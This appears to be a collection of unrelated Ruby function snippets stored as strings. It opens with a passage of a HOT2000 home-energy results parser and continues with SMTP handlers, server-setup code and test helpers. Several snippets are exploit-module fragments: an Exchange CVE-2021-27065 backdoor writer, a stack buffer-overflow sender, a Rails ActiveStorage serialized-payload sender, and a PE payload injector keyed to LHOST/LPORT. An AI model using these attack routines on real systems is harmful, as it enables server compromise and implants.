$gResults[houseCode][\"avgFuelusePropaneGJ\"] / 25.23 * 1000\n $gResults[houseCode][\"avgFueluseWoodcord\"] = $gResults[houseCode][\"avgFueluseWoodGJ\"] / 18.30 # estimated GJ/cord for wood/pellet burning from YHC Fuel Cost Comparison.xls\n\n $gResults[houseCode][\"avgFuelCostsTotal$\"] = $gResults[houseCode][\"avgFuelCostsElec$\"] +\n $gResults[houseCode][\"avgFuelCostsNatGas$\"] +\n $gResults[houseCode][\"avgFuelCostsOil$\"] +\n $gResults[houseCode][\"avgFuelCostsPropane$\"] +\n $gResults[houseCode][\"avgFuelCostsWood$\"]\n\n # JTB 10-Nov-2016: Changed variable name from avgEnergyTotalGJ to \"..Gross..\" and uncommented\n # the reading of avgEnergyTotalGJ above. This value does NOT include utilized PV energy and\n # avgEnergyTotalGJ does when there is an internal H2K PV model.\n $gResults[houseCode][\"avgEnergyGrossGJ\"] = $gResults[houseCode]['avgEnergyHeatingGJ'].to_f +\n $gResults[houseCode]['avgEnergyWaterHeatingGJ'].to_f +\n $gResults[houseCode]['avgEnergyVentilationGJ'].to_f +\n $gResults[houseCode]['avgEnergyCoolingGJ'].to_f +\n $gResults[houseCode]['avgEnergyEquipmentGJ'].to_f\n\n\n\n monthArr = [ \"january\", \"february\", \"march\", \"april\", \"may\", \"june\", \"july\", \"august\", \"september\", \"october\", \"november\", \"december\" ]\n # Picking up AUX energy requirement from each result set.\n\n $gAuxEnergyHeatingGJ = 0\n $MonthlyAuxHeatingMJ = 0\n monthArr.each do |mth|\n $gAuxEnergyHeatingGJ += element.elements[\".//Monthly/UtilizedAuxiliaryHeatRequired\"].attributes[mth].to_f / 1000\n end\n\n # ASF 03-Oct-2016 - picking up PV generation from each individual result set.\n if ( $PVIntModel )\n pvAvailable = 0\n pvUtilized = 0\n #monthArr = [ \"january\", \"february\", \"march\", \"april\", \"may\", \"june\", \"july\", \"august\", \"september\", \"october\", \"november\", \"december\" ]\n monthArr.each do |mth|\n # ASF: 03-Oct-2016: Note inner caps on PhotoVoltaic likely an error (and inconsistent with convention used\n # elsewhere in the h2k file. Watch out for future .h2k file format changes here!)\n # ASF: 05-Oct-2016: I suspect this loop is really expensive.\n pvAvailable += h2kPostElements[\".//Monthly/Load/PhotoVoltaicAvailable\"].attributes[mth].to_f # GJ\n pvUtilized += h2kPostElements[\".//Monthly/Load/PhotoVoltaicUtilized\"].attributes[mth].to_f # GJ\n end\n # 10-Nov-2016 JTB: Use annual PV values only! HOT2000 redistributes the monthly excesses, if available!\n $gResults[houseCode][\"avgEnergyPVAvailableGJ\"] = pvAvailable # GJ\n $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"] = pvUtilized # GJ\n $gResults[houseCode][\"avgElecPVGenkWh\"] = $gResults[houseCode][\"avgEnergyPVAvailableGJ\"] * 277.777778 # kWh\n $gResults[houseCode][\"avgElecPVUsedkWh\"] = $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"] * 277.777778 # kWh\n\n # ***** Calculation of NET PV Revenue using HOT2000 model *****\n # 10-Nov-2016 JTB: Assumes that all annual PV energy available is used to reduce house electricity\n # to zero first, the balance is sold to utility at the rate PVTarrifDollarsPerkWh,\n # which is specified in the options file (defaulted at top if not in Options file!).\n netAnnualPV = $gResults[houseCode][\"avgElecPVGenkWh\"] - $gResults[houseCode][\"avgElecPVUsedkWh\"]\n if ( netAnnualPV > 0 )\n $gResults[houseCode][\"avgPVRevenue\"] = netAnnualPV * $PVTarrifDollarsPerkWh\n else\n $gResults[houseCode][\"avgPVRevenue\"] = 0\n end\n else\n # Calculate and reset these values below if external PV model used\n $gResults[houseCode][\"avgEnergyPVAvailableGJ\"] = 0.0\n $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"] = 0.0\n $gResults[houseCode][\"avgElecPVGenkWh\"] = 0.0\n $gResults[houseCode][\"avgElecPVUsedkWh\"] = 0.0\n $gResults[houseCode][\"avgPVRevenue\"] = 0.0\n end\n\n # This is used for debugging only.\n diff = ( $gResults[houseCode][\"avgFueluseElecGJ\"].to_f +\n $gResults[houseCode][\"avgFueluseNatGasGJ\"].to_f -\n $gResults[houseCode][\"avgEnergyPVUtilizedGJ\"]) - $gResults[houseCode][\"avgEnergyTotalGJ\"].to_f\n $gResults[houseCode][\"zH2K-debug-Energy\"] = diff.to_f * scaleData\n\n break # break out of the element loop to avoid further processing\n\n end\n\n end # h2kPostElements |element| loop (and scope of local variable houseCode!)\n\n if ( $gDebug )\n $gResults.each do |houseCode, data|\n debug_out (\">Results for \" << houseCode.to_s)\n data.each do | var, value |\n debug_out (\" - \" << var.to_s << \" : \" << value.to_s )\n end\n end\n end\n\n $gAvgCost_Pellet = 0 # H2K doesn't identify pellets in output (only inputs)!\n\n # Total of all fuels in GJ\n $gAvgEnergy_Total = $gResults[$outputHCode][\"avgFueluseElecGJ\"] + $gResults[$outputHCode][\"avgFueluseNatGasGJ\"] +\n $gResults[$outputHCode][\"avgFueluseOilGJ\"] + $gResults[$outputHCode][\"avgFuelusePropaneGJ\"] +\n $gResults[$outputHCode][\"avgFueluseWoodGJ\"]\n\n # JTB 12-Nov-2016 : Updated and still valid. Sets cost of PV based on model type\n # and estimates PV kW size.\n # PV Data cost...\n $PVArrayCost = 0.0\n $PVArraySized = 0.0\n # Stand-off PV code depriciated. Need to figure out how to get PV size from H2k results.\n $PVsize = \"NoPV\"\n $PVcapacity = $PVsize\n $PVcapacity.gsub(/[a-zA-Z:\\s'\\|]/, '')\n if ( !$PVIntModel && ( $PVcapacity == \"\" || $PVcapacity == \"NoPV\" ) )\n $PVcapacity = 0.0\n end\n if ( $PVIntModel )\n if ( $PVInt != \"NA\" )\n # JTB 03-Nov-2016: The Cost field for Opt-H2K-PV is total cost NOT unit cost!!\n $PVUnitCost = $gOptions[\"Opt-H2K-PV\"][\"options\"][ $gChoices[\"Opt-H2K-PV\"] ][\"cost\"].to_f\n $PVUnitOutput = 0.0 # GJ/kW not used or estimated for internal H2K PV model\n else\n # No PV option specified in choice file (PV internal model part of base file)\n $PVUnitCost = 0.0\n $PVUnitOutput = 0.0\n end\n elsif ( $PVsize != \"NoPV\" )\n\n # Depreciated - to be removed.\n #$PVUnitCost = $gOptions[\"Opt-StandoffPV\"][\"options\"][\"SizedPV\"][\"cost\"].to_f\n #$PVUnitOutput = $gOptions[\"Opt-StandoffPV\"][\"options\"][\"SizedPV\"][\"ext-result\"][\"production-elec-perKW\"].to_f # GJ/kW\n end\n\n if ( $PVsize =~ /NoPV/ )\n # NoPV\n $gPVProduction = 0.0\n $PVArrayCost = 0.0\n elsif ( $PVsize =~ /SizedPV/ )\n # Size PV according to user specification, to max, or to size required to reach Net-Zero.\n # User-specified PV size (format is 'SizedPV|XkW', PV will be sized to X kW'.\n if ( $gExtraDataSpecd[\"Opt-StandoffPV\"] =~ /kW/ )\n $PVArraySized = $gExtraDataSpecd[\"Opt-StandoffPV\"].to_f # ignores \"kW\" in string\n $PVArrayCost = $PVUnitCost * $PVArraySized\n $gPVProduction = -1.0 * $PVUnitOutput * $PVArraySized\n $PVsize = \"spec'd SizedPV | #{$PVArraySized} kW\"\n else\n # USER Hasn't specified PV size, Size PV to attempt to get to net-zero.\n # First, get the home's total energy requirement.\n $prePVEnergy = $gAvgEnergy_Total\n if ( $prePVEnergy > 0 )\n # This should always be the case!\n $PVArraySized = $prePVEnergy / $PVUnitOutput # KW Capacity\n $PVmultiplier = 1.0\n if ( $PVArraySized > 14.0 )\n $PVmultiplier = 2.0\n end\n $PVArrayCost = $PVArraySized * $PVUnitCost * $PVmultiplier\n $PVsize = \" scaled: \" + \"#{$PVArraySized.round(1)} kW\"\n $gPVProduction = -1.0 * $PVUnitOutput * $PVArraySized\n else\n # House is already energy positive, no PV needed. Shouldn't happen!\n $PVsize = \"0.0 kW\"\n $PVArrayCost = 0.0\n end\n # Debug: How big is the sized array?\n debug_out (\"\\n PV array is #{$PVsize} ...\\n\")\n end\n end\n\n # Depreciated. To be deleted.\n #$gChoices[\"Opt-StandoffPV\"] = $PVsize\n #$gOptions[\"Opt-StandoffPV\"][\"options\"][$PVsize][\"cost\"] = $PVArrayCost\n\n\n # PV energy from HOT2000 model run (GJ) or estimate from option file PV data\n if ( $PVIntModel )\n $PVcapacity = $annPVPowerFromBrowseRpt # kW\n $PVsize = \" H2K: \" + \"#{$PVcapacity.round(1)} kW\"\n $gEnergyPV = $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"]\n\n debug_out (\"\\n PV array is #{$PVsize} ...\\n\")\n elsif ( $PVsize !~ /NoPV/ )\n # PV energy comes from an estimate using Opt-StandoffPV specification. Uses options file\n # number for GJ/kW PV energy production for location and roof pitch.\n $PVcapacity = $PVArraySized # kW\n $gEnergyPV = $gPVProduction * -1.0 # GJ\n\n # Set values for external PV model (initialized to zero above)...\n $gResults[$outputHCode][\"avgEnergyPVAvailableGJ\"] = $gEnergyPV\n if ( $gResults[$outputHCode][\"avgFueluseElecGJ\"] > $gEnergyPV )\n # Decrease house electricity use by PV energy productions\n $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"] = $gEnergyPV\n $gResults[$outputHCode][\"avgFueluseElecGJ\"] -= $gEnergyPV\n $gResults[$outputHCode][\"avgFueluseEleckWh\"] = $gResults[$outputHCode][\"avgFueluseElecGJ\"] * 277.77777778\n # Calculate new electricity cost and also update total fuel costs!\n calcElectCost( \"annual\" )\n else\n # PV production at least enough to cover house electrical needs!\n $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"] = $gResults[$outputHCode][\"avgFueluseElecGJ\"]\n $gResults[$outputHCode][\"avgFueluseElecGJ\"] = 0.0\n $gResults[$outputHCode][\"avgFueluseEleckWh\"] = 0.0\n # New electricity cost is just the monthly minimum (also update total fuel cost)!\n calcElectCost( \"annualMin\" )\n end\n $gResults[$outputHCode][\"avgElecPVGenkWh\"] = $gResults[$outputHCode][\"avgEnergyPVAvailableGJ\"] * 277.777778 # kWh\n $gResults[$outputHCode][\"avgElecPVUsedkWh\"] = $gResults[$outputHCode][\"avgEnergyPVUtilizedGJ\"] * 277.777778 # kWh\n\n netAnnualPV = $gResults[$outputHCode][\"avgElecPVGenkWh\"] - $gResults[$outputHCode][\"avgElecPVUsedkWh\"]\n if ( netAnnualPV > 0 )\n $gResults[$outputHCode][\"avgPVRevenue\"] = netAnnualPV * $PVTarrifDollarsPerkWh\n else\n $gResults[$outputHCode][\"avgPVRevenue\"] = 0\n end\n end\n\n stream_out( \" done \\n\")\n\n stream_out \"\\n----------------------- SIMULATION RESULTS ---------------------------------\\n\"\n\n stream_out \"\\n Peak Heating Load (W): #{$gResults[$outputHCode]['avgOthPeakHeatingLoadW'].round(1)} \\n\"\n stream_out \" Peak Cooling Load (W): #{$gResults[$outputHCode]['avgOthPeakCoolingLoadW'].round(1)} \\n\"\n\n stream_out(\"\\n Energy Consumption: \\n\\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyHeatingGJ'].round(1)} ( Space Heating, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyWaterHeatingGJ'].round(1)} ( Hot Water, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyVentilationGJ'].round(1)} ( Ventilator Electrical, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyCoolingGJ'].round(1)} ( Space Cooling, GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyEquipmentGJ'].round(1)} ( Appliances + Lights + Plugs + outdoor, GJ ) \\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( \" #{$gResults[$outputHCode]['avgEnergyGrossGJ'].round(1)} ( H2K Gross energy use GJ ) \\n\")\n\n if ( parseDebug )\n $check = $gResults[$outputHCode]['avgEnergyHeatingGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyWaterHeatingGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyVentilationGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyCoolingGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyEquipmentGJ'].to_f\n stream_out (\" ( Check1: should = #{$check.round(1)}, \")\n stream_out (\"Check2: avgEnergyTotalGJ = #{$gResults[$outputHCode]['avgEnergyTotalGJ'].round(1)} ) \\n \")\n end\n\n if $ExtraOutput1 then\n stream_out(\"\\n Components of envelope heat loss: \\n\\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLCeilingGJ'].round(1)} ( Envelope Ceiling Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLMainWallsGJ'].round(1)} ( Envelope Main Wall Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLWindowsGJ'].round(1)} ( Envelope Window Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLDoorsGJ'].round(1)} ( Envelope Door Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLExpFloorsGJ'].round(1)} ( Envelope Exp Floor Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLCrawlspaceGJ'].round(1)} ( Envelope Crawlspace Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLSlabGJ'].round(1)} ( Envelope Slab Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLBasementBGWallGJ'].round(1)} ( Envelope BG Basement Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLBasementAGWallGJ'].round(1)} ( Envelope AG Basement Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLBasementFlrHdrsGJ'].round(1)} ( Envelope Basement Floor Hdr Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLPonyWallGJ'].round(1)} ( Envelope Pony Wall Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLFlrsAbvBasementGJ'].round(1)} ( Envelope Floors Above Basement Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLAirLkVentGJ'].round(1)} ( Envelope Air Leakage & Ventilation Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLTotalGJ'].round(1)} ( Envelope Total Heat Loss (as reported in file), GJ ) \\n\")\n\n if ( parseDebug )\n $check = $gResults[$outputHCode]['EnvHLCeilingGJ'].to_f +\n $gResults[$outputHCode]['EnvHLMainWallsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLWindowsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLDoorsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLExpFloorsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLCrawlspaceGJ'].to_f +\n $gResults[$outputHCode]['EnvHLSlabGJ'].to_f +\n $gResults[$outputHCode]['EnvHLBasementBGWallGJ'].to_f +\n $gResults[$outputHCode]['EnvHLBasementAGWallGJ'].to_f +\n $gResults[$outputHCode]['EnvHLBasementFlrHdrsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLPonyWallGJ'].to_f +\n $gResults[$outputHCode]['EnvHLAirLkVentGJ'].to_f\n stream_out (\" ( Note: sum above without basement floor above HL = #{$check.round(1)} )\")\n end\n\n stream_out ( \"\\n\\n #{$gResults[$outputHCode][\"AnnHotWaterLoadGJ\"].round(1)} ( Annual DHW heating load, GJ ) \\n\")\n end\n\n stream_out(\"\\n\\n Energy Cost (not including credit for PV, direction #{$gRotationAngle} ): \\n\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsElec$'].round(2)} (Electricity)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsNatGas$'].round(2)} (Natural Gas)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsOil$'].round(2)} (Oil)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsPropane$'].round(2)} (Propane)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsWood$'].round(2)} (Wood) \\n\")\n# stream_out(\" + \\$ #{$gResults[$outputHCode][''].round(2)} #{$gAvgCost_Pellet.round(2)} (Pellet)\\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( \" \\$ #{$gResults[$outputHCode]['avgFuelCostsTotal$'].round(2)} (All utilities).\\n\")\n stream_out ( \"\\n\")\n\n netAnnualPV = $gResults[$outputHCode]['avgElecPVGenkWh'] - $gResults[$outputHCode]['avgElecPVUsedkWh']\n\n stream_out ( \" - \\$ #{$gResults[$outputHCode]['avgPVRevenue'].round(2)} (**Net PV revenue for #{$PVcapacity.round(0)} kW unit: #{netAnnualPV.round(0)} kWh at \\$ #{$PVTarrifDollarsPerkWh} / kWh)\\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n\n netUtilityCost = $gResults[$outputHCode]['avgFuelCostsTotal$'] - $gResults[$outputHCode]['avgPVRevenue']\n\n stream_out ( \" \\$ #{netUtilityCost.round(2)} (Net utility costs).\\n\")\n stream_out ( \"\\n\")\n\n if $ExtraOutput1 then\n stream_out(\"\\n Space Heating Energy Use by Fuel (GJ): \\n\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatElecGJ\"].round(1)} (Space Heating Electricity, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatGasGJ\"].round(1)} (Space Heating Natural Gas, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatOilGJ\"].round(1)} (Space Heating Oil, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatPropGJ\"].round(1)} (Space Heating Propane, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatWoodGJ\"].round(1)} (Space Heating Wood, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterElecGJ\"].round(1)} (Hot Water Heating Electricity, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterGasGJ\"].round(1)} (Hot Water Heating Natural Gas, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterOilGJ\"].round(1)} (Hot Water Heating Oil, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterPropGJ\"].round(1)} (Hot Water Heating Propane, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterWoodGJ\"].round(1)} (Hot Water Heating Wood, GJ)\\n\")\n end\n\n stream_out(\"\\n\\n Total Energy Use by Fuel (in fuel units, not including credit for PV, direction #{$gRotationAngle} ): \\n\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseEleckWh'].round(0)} (Total Electricity, kWh)\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseNatGasM3'].round(0)} (Total Natural Gas, m3)\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseOilL'].round(0)} (Total Oil, l)\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFuelusePropaneL'].round(0)} (Total Propane, l)\\n\")\n\n # ASF 03-Oct-2016:\n # Wood/Pellets\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseWoodcord'].round(0)} (Total Wood, cord)\\n\")\n # stream_out(\" - #{$gAvgPelletCons_t.round(1)} (Pellet, tonnes)\\n\")\n # stream_out (\"> SCALE #{scaleData} \\n\");\n # Estimate total cost of upgrades\n $gTotalCost = 0\n\n if ( $Locale == \"NA\" )\n thisLocale = \"Basehouse location\"\n else\n thisLocale = $Locale\n end\n stream_out (\"\\n\\n Estimated costs in #{thisLocale} (x #{$gRegionalCostAdj} Ottawa costs) : \\n\\n\")\n\n $gChoices.sort.to_h\n for attribute in $gChoices.keys()\n\n debug_out \"Costing for #{attribute}: \"\n\n choice = $gChoices[attribute]\n cost = $gOptions[attribute][\"options\"][choice][\"cost\"].to_f\n $gTotalCost += cost\n stream_out( \" + #{cost.round()} ( #{attribute} : #{choice} ) \\n\")\n end\n stream_out ( \" - #{($gIncBaseCosts * $gRegionalCostAdj).round} (Base costs for windows) \\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( \" = #{($gTotalCost-$gIncBaseCosts * $gRegionalCostAdj).round} ( Total incremental cost ) \\n\\n\")\n $gRegionalCostAdj != 0 ? val = $gTotalCost / $gRegionalCostAdj : val = 0\n stream_out ( \" ( Unadjusted upgrade costs: \\$ #{val} )\\n\\n\")\n\n if ( $gERSNum > 0 )\n $tmpval = $gERSNum.round(1)\n stream_out(\" ERS value: #{$tmpval}\\n\")\n end\n\nend",
"def process(data)\n end",
"def run_cve_2021_27065(session_info)\n # set external url (and set the payload).\n print_status('Prepare the payload on the remote target')\n input_name = install_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty?\n\n # reset the virtual directory (and write the payload).\n print_status('Write the payload on the remote target')\n remote_file = write_payload(session_info)\n\n fail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty?\n\n # wait a lot.\n i = 0\n while i < datastore['MaxWaitLoop']\n received = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(web_directory, remote_file)\n })\n if received && (received.code == 200)\n break\n end\n\n print_warning(\"Wait a lot (#{i})\")\n sleep 5\n i += 1\n end\n fail_with(Failure::PayloadFailed, 'Could\\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302\n\n [input_name, remote_file]\n end",
"def smtp_verb_bdat(args)\n arglist = args.split(' ')\n # No size means nothing to do\n if arglist.count < 1\n response_syntax_error :message => \"Chunk size must be specified\"\n end\n # The chunk size must be numeric\n if arglist[0] !~ /\\A[0-9]+\\Z/\n response_syntax_error :message => \"Bad chunk size\"\n end\n # Basic sanity passed, we must grab the data\n data = getdata(arglist[0].to_i)\n return response_no_valid_rcpt if @rcptto.count < 1\n if arglist.count > 2\n response_syntax_error\n elsif arglist.count == 2 and arglist[1].upcase != \"LAST\"\n response_syntax_error :message => \"Bad end marker\"\n end\n response_ok\n end",
"def process_data\n unless @state.include?(:rcpt)\n send_data \"503 Operation sequence error\\r\\n\"\n else\n succeeded = proc {\n send_data \"354 Send it\\r\\n\"\n @state << :data\n @databuffer = []\n }\n failed = proc {\n send_data \"550 Operation failed\\r\\n\"\n }\n\n d = receive_data_command\n\n if d.respond_to?(:callback)\n d.callback(&succeeded)\n d.errback(&failed)\n else\n (d ? succeeded : failed).call\n end\n end\n end",
"def send_file_data filename\n\t\tEventMachine::send_file_data @signature, filename\n\tend",
"def create_lxc_post(client_name,post_list)\n tmp_file = \"/tmp/post\"\n client_dir = $lxc_base_dir+\"/\"+client_name\n post_file = client_dir+\"/rootfs/root/post_install.sh\"\n file = File.open(tmp_file,\"w\")\n post_list.each do |line|\n output = line+\"\\n\"\n file.write(output)\n end\n file.close\n message = \"Creating:\\tPost install script\"\n command = \"cp #{tmp_file} #{post_file} ; chmod +x #{post_file} ; rm #{tmp_file}\"\n execute_command(message,command)\n return\nend",
"def exploit\n\t\tconnect\n\n\t\tprint_status(\"Sending #{payload.encoded.length} byte payload...\")\n\n\t\t# Build the buffer for transmission\n\t\tbuf = \"A\" * 1024\n\t\tbuf += [ target.ret ].pack('V')\n\t\tbuf += payload.encoded\n\n\t\t# Send it off\n\t\tsock.put(buf)\n\t\tsock.get\n\n\t\thandler\n\tend",
"def do_coaps_posted_03\n # get the Base64 of the incoming signed request\n body = IO.read(\"spec/files/vr_00-D0-E5-F2-00-03.vrq\")\n\n env = Hash.new\n env[\"SSL_CLIENT_CERT\"] = cbor_clientcert_03\n env[\"HTTP_ACCEPT\"] = \"application/voucher-cose+cbor\"\n env[\"CONTENT_TYPE\"] = \"application/voucher-cose+cbor\"\n\n $FAKED_TEMPORARY_KEY = temporary_key\n post '/e/rv', :params => body, :headers => env\n end",
"def export_vmdk\n folder = Stemcell::Builder::validate_env('VCENTER_VM_FOLDER')\n host_folder = Stemcell::Builder::validate_env('VCENTER_HOST_FOLDER')\n server = Stemcell::Builder::validate_env('VCENTER_SERVER')\n username = Stemcell::Builder::validate_env('VCENTER_USERNAME')\n password = Stemcell::Builder::validate_env('VCENTER_PASSWORD')\n ovfusername = \"#{username.split(\"\\\\\")[0].strip}\\%5c#{username.split(\"\\\\\")[1].strip}\"\n ovfpassword = \"#{password.split(\"\\$\")[0].strip}\\\\\\$\"\n cmd = \"ovftool --noSSLVerify --machineOutput \\\"vi://#{ovfusername}:#{ovfpassword}@#{server}/#{host_folder}/vm/#{folder}/packer-vmx/\\\" #{$dir}/\"\n puts cmd\n Open3.popen3(cmd) do |stdin, stdout, stderr, wait_thr|\n while line=stdout.gets || line=stderr.gets do\n puts(line)\n end\n end\n\n# produces tgz and needs to be uploaded to s3\n def run_stembuild\n vmdk_file = find_file_by_extn(@output_directory, \"vmdk\")\n cmd = \"stembuild -vmdk \\\"#{vmdk_file}\\\" -v \\\"#{Stemcell::Manifest::Base.strip_version_build_number(@version)}.#{Time.now.getutc.to_i}\\\" -output \\\"#{@output_directory}\\\"\"\n puts \"running stembuild command: [[ #{cmd} ]]\"\n `#{cmd}`\n end\n\nend",
"def create\n chef_server_rest.post(\"data/#{data_bag}\", self)\n self\n end",
"def common_set_body_contents\n set_application_request\n set_node @template, 'bxd|SenderId', @customer_id\n set_node @template, 'bxd|RequestId', request_id\n set_node @template, 'bxd|Timestamp', iso_time\n set_node @template, 'bxd|Language', @language\n set_node @template, 'bxd|UserAgent', \"Sepa Transfer Library #{VERSION}\"\n end",
"def on_body(env, data)\n # append data to the write end of the pipe if open, otherwise do nothing\n env[\"tus.input-writer\"].write(data) unless env[\"tus.input-writer\"].closed?\n rescue Errno::EPIPE\n # read end of the pipe has been closed, so we close the write end as well\n env[\"tus.input-writer\"].close\n end",
"def post_process\n [status, headers, body]\n end",
"def post_process\n [status, headers, body]\n end",
"def jv_script_params\n params.require(:jv_script).permit(:depo, :withd, :bal)\n end",
"def upload_data_button_onclick\r\n aname = @@alib.remove_space(params[\"tbox_aname\"])\r\n datafile = params[\"tbox_datfile\"]\r\n\r\n error = @@alib.is_nil_log(datafile, \"Data File\")\r\n if (!error)\r\n lpath = @@alib.get_localpath(session[:cas_user], \"upload\")\r\n fname = @@alib.upload_txtfile(lpath, datafile)\r\n pid = @@slib.sql_get_1num(\"plate\", \"plate_id\", \"name = 'template'\")\r\n pwid = @@slib.sql_get_1num(\"pathway\", \"pathway_id\", \"name='template'\")\r\n\r\n assayfields = @@alib.new_arr10(session[:cas_user], fname, aname, 1, pid, \"\", \"\", \"\", pwid, 1)\r\n\r\n @@ulib.load_data(lpath, assayfields)\r\n end\r\n \r\n (func, title) = get_2_params()\r\n goto_upload_page1(func, title)\r\nend",
"def send_serialized_payload(rails_payload)\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => \"/rails/active_storage/disk/#{rails_payload}/test\",\r\n })\r\n\r\n if res && res.code != 200\r\n print_error(\"It doesn't look like the exploit worked. Server returned: #{res.code}.\")\r\n print_error('The expected response should be HTTP 200.')\r\n\r\n # This indicates the server did not accept the payload\r\n return false\r\n end\r\n\r\n # This is used to indicate the server accepted the payload\r\n true\r\n end",
"def prepare\n #divide along parameters\n #@script.strip!()\n divided_script = @script.split(\"<!par!>\") \n script_with_params = []\n count = 0\n divided_script.each() {|part|\n #puts \"part [#{count}] = #{part}\"\n part.split(\"\\n\").each() {|line|\n next if line.strip.size == 0\n script_with_params << \"#{line.lstrip} \" #TODO: make this work with the line-breaks\n script_with_params << \"\\n\"\n }\n script_with_params.delete_at(script_with_params.size()-1)\n script_with_params << @parameter_array[count]\n count += 1\n }\n\n join = CfHelper.join(script_with_params)\n\n @user_data = join\n end",
"def run\n session.core.use('peinjector')\n\n # syinfo is only on meterpreter sessions\n print_status(\"Running module against #{sysinfo['Computer']}\") if not sysinfo.nil?\n\n # Check that the payload is a Windows one and on the list\n if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])\n print_error(\"The Payload specified #{datastore['PAYLOAD']} is not a valid for this system\")\n return\n end\n\n # Set variables\n pay_name = datastore['PAYLOAD']\n lhost = datastore['LHOST']\n lport = datastore['LPORT']\n targetpe = datastore['TARGETPE']\n opts = datastore['OPTIONS']\n\n # Create payload\n payload = create_payload(pay_name, lhost, lport, opts)\n\n # Inject payload\n inject_payload(payload, targetpe)\n end",
"def process(data)\n end",
"def do_coaps_posted_02\n # get the Base64 of the incoming signed request\n body = IO.read(\"spec/files/vr_00-D0-E5-F2-00-02.vrq\")\n\n env = Hash.new\n env[\"SSL_CLIENT_CERT\"] = cbor_clientcert_02\n env[\"HTTP_ACCEPT\"] = \"application/voucher-cose+cbor\"\n env[\"CONTENT_TYPE\"] = \"application/voucher-cose+cbor\"\n\n $FAKED_TEMPORARY_KEY = temporary_key\n post '/e/rv', :params => body, :headers => env\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/volumes/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"def pipe_message_body(opts = {})\n {\n stream_name: zfind(opts[:stream_name]) || zfind('status_stream'),\n data: opts[:data] || update_message_body(opts),\n partition_key: opts[:partition_key] || @instance_id || 'unk'\n }\n end",
